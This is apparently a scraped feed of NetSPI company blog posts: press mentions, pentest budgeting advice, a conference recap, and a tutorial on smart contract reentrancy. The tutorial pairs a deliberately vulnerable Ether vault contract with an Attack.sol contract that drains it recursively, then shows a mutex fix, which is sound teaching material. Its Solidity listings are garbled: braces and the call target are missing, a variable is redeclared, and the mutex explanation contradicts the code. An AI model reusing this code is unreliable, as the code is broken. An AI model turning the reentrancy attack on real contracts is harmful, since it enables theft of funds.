VentureBeat: Cyber Insurance is On the Rise, and Organizational Security Postures Must Follow Suit

On July 29, NetSPI Managing Director Norman Kromberg was featured in an article in VentureBeat called Cyber Insurance is On the Rise, and Organizational Security Postures Must Follow Suit. Read the preview below or view it online.


Despite best efforts to the contrary — ransomware, hacks and data breaches are more prevalent than ever.

Close to 75% of global cyber-risk decision makers report that their company experienced at least one cyberattack in the past year — and just 3% of respondents rated their company’s cyber hygiene as “excellent.” Furthermore, recent research puts the average ransom payout at $211,529.

Naturally, to protect themselves, more organizations are investing — often significantly — in cyber insurance, particularly as cybersecurity breaches, hacks and ransomware attacks are often not included in traditional policies.

Cyber insurance companies, in turn, are increasing premiums and becoming ever more selective about the companies they’re willing to insure. 

Insurance at a premium

Cyber insurance is much like other insurance coverage. It is a means to manage risk and loss from certain events — in this case, cyberthreats. 

Although it varies by insurer and amount carried, policies can cover costs associated with business email compromise, ransomware attacks, phishing attacks and other social engineering attacks, explained Jennifer Mulvihill, business development head for cyber insurance and legal at cyber defense platform company BlueVoyant. Policies can also provide both first-party and third-party coverage, she said. 

All told, the cyber insurance market is expected to be $25 billion by 2026, according to an annual cyber report by The Howden Group. The National Association of Insurance Commissioners also reports that cyber insurance premiums collected by the largest U.S. insurance carriers in 2021 increased by 92% year-over-year. 

This trend will only continue, predicted Norman Kromberg, managing director at cybersecurity company NetSPI. Today’s unpredictable threat market makes it challenging for insurers to accurately evaluate an organization’s IT management and security control maturity. He anticipates that it will be more and more difficult to receive payouts for claims, particularly if there is a breakdown in controls. 

You can read the full article at VentureBeat!


How to Optimize Your Penetration Testing Budget

Over the next six months, most organizations will have a heightened focus on defining the parameters of their 2023 cybersecurity budgets. This year has its own set of unique challenges – from rising global inflation rates to the ever-increasing information security skills shortage. 

In my current role as Technical Client Director and from my former experience as a penetration tester, I’ve helped many organizations optimize components of the penetration testing process to get the greatest value out of their allotted budget and assessment scope. 

While your penetration testing budget is only one piece of your organization’s overall information security funding, a few key details can help inform your decision making around this important and often stressful process. 

What Does a Successful Penetration Test Look Like? 

First, it’s important to define what a successful penetration test should look like. Key characteristics of a high value penetration test include: 

  • A solid deliverable: A generic PDF summary of your vulnerabilities doesn’t hold much value. A well-written report that clearly meets the objectives of the test, the actions taken, and highlights the greatest risks to your business will set a great penetration test apart from the rest. 
  • Great communication: An unsuccessful pentest is one where you finalize the scope and do not hear from your testing team until you get your results. They must be collaborative from start to finish. Maintain regular status reports, engage in conversations to clear up areas of confusion, and communicate with your pentesters to better understand the impact of your most critical findings. 
  • Ongoing access to results, metrics, and expertise: A successful pentesting partnership should provide you the tools and resources to help you manage and prioritize your vulnerability results, identify metrics that communicate the big picture, and give you real-time access to the testers that identified the vulnerabilities so that you can ask questions and chart the best course for remediation. It should also provide you with strategic guidance and partnership that gives you insight into information security trends and how they apply to your organization.  

Getting Started 

A pentest can be costly, time-consuming, and frustrating if done incorrectly. But it is an essential piece of an organization’s vulnerability management program when done right. Looking for a refresher on the types of pentesting, the process, and key trends in the space? Explore our introductory guide. 

Organizations can begin optimizing their pentesting program before an assessment even begins. The process starts with defining the scope of the test. Consider these influential factors: 

  • Number of endpoints or size of your application, network range, etc.  
  • Compliance and regulatory requirements  
  • How sensitive the information contained in the application, network, cloud infrastructure, etc. is to your organization 

Organizations navigating which tests to budget for in the upcoming financial year should lean on their strategic pentesting partner to help understand their needs and objectives. 

How to Enhance the Value of Your Pentest 

Budget optimization doesn’t begin and end during the scoping process. There are many penetration testing best practices that can be enhanced to get the most value out of each engagement. 

  1. Demonstrate the functionality of the application, network, or cloud platform with your pentest team in the weeks leading up to your test. This meeting is pivotal in setting the trajectory of the assessment as it will help your testing team understand where to prioritize their manual testing efforts.
  2. Have the right person available to manage the pentest. However, that person’s role may vary from company to company. As for who you think is best suited, make sure it’s somebody who can dedicate their time before, during, and after the assessment. This person should have sufficient technical knowledge of the test environment to answer complex questions, as well as access to troubleshoot and manage any issues that arise during the engagement.
  3. Before any testing begins, set clear expectations across teams, and ensure there is a collective understanding of remediation timeline requirements, meeting times, the desired testing window, and the ability to provide key engagement items before a project begins (for example, API documentation, testing accounts, or documentation around role permissions).
  4. Equip your pentesting team to start the assessment without weeks of recon. Pentesters are bound by time, adversaries are not. Give your pentesting team as much information as you can about the target environment. This will empower them to focus their time on creative manual testing techniques that uncover critical vulnerabilities. Read additional insights on the value of an open box vs. black box pentest in this blog post.
  5. Get organized. There is one common thread that ties a great penetration test together: organization. Those who are organized, can provide the pentesting team with the most up-to-date information, are available to answer questions, and set clear expectations, will ultimately get the most value out of their pentesting budget. 

Selecting the right penetration testing company 

Selecting the right penetration testing company for your needs is a crucial component to the success of your engagements (we’ve got a guide for that, too).  

Ensure that you’re working with an offensive security firm that acts as a true strategic partner. They should operate as an extension of your team to help guide and advise you on how to best allocate your budget and resources to get the most value out of your pentest. 

Ready to get more value out of your pentesting budget? Explore NetSPI’s penetration testing services.

Blockworks: Illicit Crypto Moving to Mixers on Pace to Double in 2022

On July 14, 2022, NetSPI Chief Technology Officer Travis Hoyt was featured in an article in Blockworks called Illicit Crypto Moving to Mixers on Pace to Double in 2022. Read the preview below or view it online.


More money moving to crypto mixing services in 2022 is coming from addresses associated with illicit activity, as government agencies may be forced to take action against non-compliant mixers or impose more sanctions.  

The 30-day moving average of value received by mixers reached an all-time high of nearly $52 million worth of crypto on April 19, according to a report by Chainalysis published Thursday. This figure is roughly double the incoming volume at the same point in 2021.

Perhaps more notably, the blockchain data platform revealed, illicit addresses account for 23% of funds sent to mixers so far in 2022, up from 12% last year.

Several mixers — including Tornado Cash — and other decentralized finance platforms are taking advantage of privacy-preserving technology, such as zk-SNARK, to ensure anonymity remains intact, NetSPI Chief Technology Officer Travis Hoyt said.  

“If Chainalysis can in fact reverse or deduce transactions protected with this type of technology, it would question some of the fundamental mechanics of how some blockchains work, as well as some of the mixing and [decentralized finance] platforms,” Hoyt told Blockworks.

Read the full article on Blockworks.


Introduction to Smart Contract Security and Decentralized Web Applications


The integration of blockchain tech to the web application ecosystem has enabled developers to create decentralized web applications. To communicate with the blockchain, web applications interact with smart contracts. Because of this, smart contract security is an application security concern. Pulling from our blockchain research and decades of application security testing experience, in this blog we will explore risks affecting smart contracts, smart contract best practices, and take a deep dive into reentrancy, a devastating smart contract vulnerability.

Introduction to Smart Contract Security and Decentralized Web Applications

The influence of blockchain technology is too great to ignore. One of the most compelling developments is smart contract integration within certain blockchains such as Ethereum and Solana. Simply put, a smart contract is code stored in memory on a blockchain. Its functions are executed automatically when predetermined conditions occur, much like a vending machine [source].

Once deployed, a smart contract inherits the decentralized properties of the blockchain it is deployed on. As a result, smart contracts are decentralized programs that execute functions when specific conditions are met. When deployed correctly, contracts cannot be tampered with to behave unexpectedly.

Due to their robust nature, smart contracts can be used to perform tasks as a neutral entity between individuals or organizations. Examples of such tasks are loans, voting, or even publishing highly censored content.

For example, the following Ethereum smart contract written in Solidity serves as a vote counter. Please note, that this is example code and therefore is missing critical authorization checks. This code should never be used for anything other than an example for education.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

contract Vote {
    int private Choice1 = 0;
    function VoteChoice1() public {
        Choice1 += 1;
    int private Choice2 = 0;
    function VoteChoice2() public {
        Choice2 += 1;

The contract contains two functions VoteChoice1() and VoteChoice2(). When VoteChoice1() is called, the state variable Choice1 is positively incremented by a value of 1. Respectively, Choice2 is positively incremented by a value of 1 whenVoteChoice2() is called. When deployed safely, a contract similar to this example contract can be used to keep track of votes for an organization. 

Smart contract functions are commonly called via JavaScript libraries such as Web3.js and Solana-Web3.js (web3 referring to an internet with a structure dependent on blockchain technology). The creation of smart contracts and libraries that interact with smart contracts, has enabled developers to create decentralized applications, also known as dApps.

Powered by smart contracts, dApps leverage the decentralized nature of the blockchain to automate actions that originally depended on third party moderators to complete. Additionally, these applications can have a user-friendly interface, drawing a large audience of users. For example, Uniswap enables users to exchange cryptocurrencies without the intervention of a third party. In this scenario, smart contracts handle the logistics of swapping cryptocurrencies. In addition, a user-friendly web application makes it possible for users to execute the smart contract functions by calling JavaScript functions with a click of a button.

With the introduction of blockchains in the web application ecosystem, dApp users can enjoy egalitarian benefits [source] associated with decentralization. However, no system is immune to exploitation. 

Smart contracts are programmed to moderate critical transactions between individuals or organizations. Inevitably opportunistic hackers will scour smart contracts for vulnerabilities. In some scenarios, smart contract vulnerabilities have led to millions of dollars worth of crypto currencies being stolen, and the organizations depending on those smart contracts devastated.

The following chart demonstrates that at the time of posting this article 22.45% of the total Ether supply is currently stored in Ethereum smart contracts. Calculating the total value of funds stored in Ethereum smart contracts is a difficult task, as Ethereum smart contracts can control more assets than just Ether. For example, smart controls can store assets such as ERC-20 (such as stable coins) and ERC-721 (non-fungible tokens) [source].

You will notice in May 2016 there was a huge spike in the amount of Ether stored in smart contracts. This was a result of the establishment of the DAO (Decentralized Autonomous Organization) [source]. The DAO had an objective to provide a new decentralized business model for organizing both commercial and non-profit enterprises [source]. This organization leveraged Ethereum smart contracts to manage funds controlled by the organization. 

The spike shown in the chart is followed by a crash in July of 2016. This was a result of the exploitation of a smart contract vulnerability that drained a third of the DAOs total Ether. The Ethereum community controversially decided to hard-fork the Ethereum blockchain and restore virtually all funds to the original contract. The hard-fork was a major change to the Ethereum blockchain in which the blockchain was rewinded to the point prior to funds being transfer out of the DAO’s control [source]. This decision was ultimately damaging to Ethereum’s reputation as a “decentralized and immutable” entity as an organization was able to change the ledger.

As of now, the amount of Ether locked in smart contracts is approaching a similar level as June of 2016. However, smart contract hackers persist as a severe threat to organizations and individuals invested in smart contracts. Within the past few months of publishing this blog, hundreds of millions of dollars have been stolen by hackers exploiting vulnerabilities in smart contracts. 

Most recently, an attacker exploited a bug in a smart contract to steal ~$76 million worth of tokens from the Beanstalk lending platform [source]. During this blog post, we will explore the vulnerability that led to the infamous DAO attack in detail. We will also explore remediation, to prevent similar attacks on the blockchain.

Smart Contract Security from the Eyes of a Web Application Hacker

Ultimately, web applications are tools for sending, receiving, storing, and processing data. To exploit web applications, attackers will inject malicious data to force the application to behave in unexpected ways. This unexpected behavior could allow a series of attacks, Remote Code Execution (RCE) often being the most dangerous (see: Log4Shell) This is because, RCE enables an attacker to take complete control over the server hosting the web application. Since the web application is centralized, once an attacker has control over the server, the attacker can access all the application’s data and call any of the application’s functions. If an attacker has RCE on a banking application, that attacker has the ability to transfer money anywhere they wish.

With the introduction of smart contracts to the web application ecosystem the goal of attackers changes completely. Smart contracts now control critical functionality, such as the transfer of funds and authentication/authorization. Smart contract code itself is compiled and stored on the blockchain and executed inside a runtime environment on blockchain nodes. Therefore, an attacker’s focus shifts from exploiting RCE via data confusion, to abusing variables stored in the contract and outcomes on the blockchain. Overall, when exploiting dApps and smart contracts attackers are interested in the assets (coins or NFTs) that the contract controls, and the internal state that is used to allow certain outcomes (transactions) on the chain.


Reentrancy is a vulnerability that occurs when a victim contract recursively calls an external, untrusted function that sends assets to the external contract. A contract is vulnerable to reentrancy if the balance of the attacker contract’s assets are not updated before the function that sends funds is executed. 

To better understand this vulnerability, imagine you are going to the bank, and you ask a banker to withdraw $100 from your account. After you pocket the $100, you quickly ask the banker to withdraw $100 again. Since you immediately asked for another $100, the banker forgets to update your checking account balance to reflect your first withdrawal. You repeat this, until the bank runs out of money. 

Essentially an attacker is causing an outcome to occur that depends on a check, but the outcome can occur multiple times before the parameters which defines the validity of the check is updated. Let’s look at an example of a reentrancy vulnerability in a Solidity contract. Within the contract, there are comments detailing the purpose of each line of code.


// Define the Solidity compiler version to be used.
pragma solidity ^0.8.13; 

contract EtherVault {
// Mapping address to an unsigned integer. This is an 
// internal data structure that is used to record the balance 
// of Ether the addresses own. 
    mapping(address => uint) public contract_balance;

// Create a payable function, that contains a counter variable. 
// When an Ethereum address adds Ether to the contract by calling 
// this function, the counter records how much Ether that address owns. 
    function deposit() public payable {
        contract_balance[msg.sender] += msg.value;

	// A function is created to remove funds from the 
	// EtherVault contract. The function accepts an _amount 
	// argument. This argument is the amount of funds the caller 
	// wishes to remove from the contract. 
    function withdraw(uint _amount) public {
        uint _amount = contract_balance[msg.sender];

        // In order to execute this function, the caller must 
	// withdraw more than 0 Ether.
        require(_amount > 0);

        // msg.sender calls out to the msg.sender contract. This 
	// enables an attacker contract to execute EtherVault code 
	// via a fallback function. The bug lies here. 
        (bool send, ) ={value: _amount}(""); 
        require(send, "Failed to send");

        // Once the funds are transferred to the withdrawing Ethereum 
	// address, the address balance updated to reflect that funds 
	// have been withdrawn. 
        contract_balance[msg.sender] -= _amount;

    // Basic helper function to check address balances. 
    function getBalance() public view returns (uint) {
        return address(this).balance;

According to the latest Solidity documentation, when a contract receives Ether “either the receive Ether or fallback function is executed” [source]. Because of this, we can create a malicious smart contract called Attack.sol that contains a fallback function and that recursively calls the EtherVault.sol withdraw function. 

The victim EtherVault.sol contract does not update the contract_balance state variable until after Ether is sent. As a result, the attack.sol’s recursive withdraw call is allowed to take Ether from EtherVault.sol until the balance is less than 1 Ether.


pragma solidity 0.8.13;
	// Import the victim contract so we can call its function 
	// within the Attack contract. 
import "./EtherVault.sol";

contract Attack {

    // Declare a public state variable, referencing the address of 
    // the etherVault 
    EtherVault public etherVault;

constructor(address _etherVaultAddress) public {

        // Point the public state instance variable to the address 
        // of the EtherVault
        etherVault = EtherVault(_etherVaultAddress);

    function attack() external payable {
        require(msg.value >= 1 ether);

        // Call the EtherVault contract’s deposit function, passing 
        // an arbitrary amount of Ether as an argument.
        etherVault.deposit{value: msg.value}();

        // Once the Ether is given to the EtherVault contract, 
        // immediately withdraw 1 Ether. This will trigger the 
        // fallback function to execute. 
        etherVault.withdraw(1 ether);

    // Fallback is called when EtherVault sends Ether to this 
    // contract.
fallback() external payable {

        // This IF statement recursively withdraws ETH from the 
        // EtherVault contract until the contract is empty. 
        if (address(etherVault).balance >= 1 ether) {
            etherVault.withdraw(1 ether);

    // Helper function to check the balance of the Attack contract.
    function getBalance() public view returns (uint) {
        return address(this).balance;

Here is a visualization of the attack:


To remediate EtherVault.sol, we need to ensure that Attack.sol (or any other external contract) cannot call the withdraw() function without updating the contract_balance state variable [source].

The most sure-fire way to do this is using a mutex (mutually exclusive flag). This can best be described using the following analogy. 

Imagine you are in a heated argument with a group of people. Everyone is talking over each other, and nothing is getting done. To resolve this issue, you introduce a Speaking Totem. With the introduction of this object, the only person allowed to speak is the one who holds the Speaking Totem. Now, order is restored since there is only one voice speaking at a time. The following is a basic implementation of a mutex modifier in the EtherVault.sol contract.

    function withdraw() public {

        require(!lock, "Cannot withdraw while another withdrawal 
is processing");
        lock = true;

        uint bal = contract_balance[msg.sender];
        require(bal > 0);

        (bool send, ) ={value: bal}("");
        require(send, "Failed to send");
        contract_balance[msg.sender] = 0;

	  lock = false;

The require statement on line 3 ensures that the lock variable is set to false to execute the call() function responsible for sending Ether. The lock variable is then immediately set to true when Ether is sent. Ensuring that the contract cannot be recursively executed by the Attack.sol contract’s fallback function. Then, after the contract_balance variable is set to 0, reflect the withdrawal. The lock function is set to true again, allowing the withdraw() function to be executed again.

Conclusion statement 

As more organizations integrate blockchain services within the web application stack, it’s critical that smart contract security vulnerabilities are thoroughly understood. By understanding the methods used by attackers to exploit smart contracts, developers are empowered to write code that is more resilient to exploitation. 

Want to continue the discussion around smart contract and blockchain security? Contact NetSPI:


Infosecurity Europe 2022: Observations from the ExCel

Bolstering over 350 exhibitors and more than 190 expert sessions, Infosecurity Europe is one of the largest gatherings of cybersecurity professionals in Europe. This year, the NetSPI team made an appearance in the exhibitor hall.  

During Infosecurity Europe, NetSPI officially announced its expansion into the EMEA region. We’ve experienced growing demand from EMEA organizations, and we feel that NetSPI is well-positioned to deliver in this region. 

Aside from the hustle and bustle of the conference itself, we devoted much of our time to the exhibitor hall – where we noticed a few interesting themes. Continue reading for our three key observations from Infosecurity Europe and our conversations with the EMEA cybersecurity community. 

Automate Where Necessary 

Walking the floor, the automation message was prevalent among vendor solutions. However, in conversations with end users, the underlying message was that automation needs to serve a purpose, linked to, for example, improving cybersecurity workflows and processes. As Lalit Ahluwalia, writes in this Forbes article, the top drivers for automation include the lack of skilled workers, lack of standardization, and the expanded attack surface

It is also important to understand that technology alone should not be viewed as a “silver bullet.” There is a fundamental need to ensure that skilled humans can triage the data to ensure accurate results and that the information delivered is valuable and actionable.  

Automation should enable humans to do their job better and spend more time on the tasks that matter most (e.g., in penetration testing, looking for critical vulnerabilities that tools cannot find). For more on the importance of people in cybersecurity, read Technology Cannot Solve Our Greatest Cybersecurity Challenges, People Can

Tightening of Venture Capital Funding and Cybersecurity Budgets 

Another heavily discussed topic at Infosecurity Europe centered around funding, budgets, and priorities. 

With the onset of COVID-19, we noticed an over-expansion of cybersecurity vendors – this was evident in the exhibitor space. We attribute this partly to the rise in remote work, increased ransomware attacks in the past year, and companies’ expanding attack surfaces.  

The cause for concern? 

With the current global economic downturn, many vendor solutions are now seen as a “nice to have”, budgets are being squeezed, and end users are prioritizing their investments based on risk.  

We also had conversations with end users who felt that the whole market is becoming a “Noah’s ark” of solutions – i.e., there are a lot of solutions that have been built in the hope end users see value. We foresee not just a consolidation of the vendors in the market, but also a consolidation of the actual solutions that end users view as critical to their needs. 

The reality is that financial winds of change are blowing, whether it is customers focusing on maximising the return on their budget, or investment dollars looking for a home, there is a tightening coming. While our industry is relatively well-placed to withstand these financial pressures, the ability to build those trusted relationships with our customers and help them achieve tangible positive outcomes will be a key differentiator. 

Emphasis on Business Enablement  

It was refreshing to see many vendors focus less on fear, uncertainty, and doubt and more on business enablement and benefits to the customer.  

Understanding how technology supports initiatives that enable a company to grow is a win-win tactic in our book. This is a positive change and one that will help customers understand which products and services are vital as they mature their security programs.  

The Future of Information Security in EMEA 

There is no doubt that cybersecurity is a vital component of every business, and that was evident at the conference. We’re excited to be a part of the momentum in the EMEA region and support the global cybersecurity community through our platform driven, human delivered methodology and our focus on business enablement. 

Infosecurity Europe may be over, but that doesn’t mean our conversation has to end. Connect with NetSPI today to learn how we can meet your global offensive security needs.

Start the Conversation

Help Net Security: The Challenges and Advantages of Building Behavior-based Threat Detection

On July 1, 2022, NetSPI Senior Director Scott Sutherland was featured on Help Net Security where he discusses how, in order to stay ahead of malicious actors, organizations must shift their gaze to detect attackers before something bad happens. Read the summary below or watch the video online.


  • Many vendors promote 100% coverage, but most EDRs and MSSP vendors only provide 20% of that coverage.
  • Companies that partner with MSSP vendors must view their contracts carefully to understand what malicious activities vendors cover.
  • Companies are overdependent on Indicators of Compromise (IOCs) – provided and available in the community – but these tools should be part of a larger program, not the end of the program.
  • Detection starts with a procedure like the popular MITRE Attack Framework.
  • Two challenges of building a behavior-based threat detection? Mapping technique coverages holistically and choosing which procedures to get coverage.
  • Review annual reports from threat detection companies to get a picture of the most common techniques and leverage your threat detection resources.

Discover how the NetSPI BAS solution helps organizations validate the efficacy of existing security controls and understand their Security Posture and Readiness.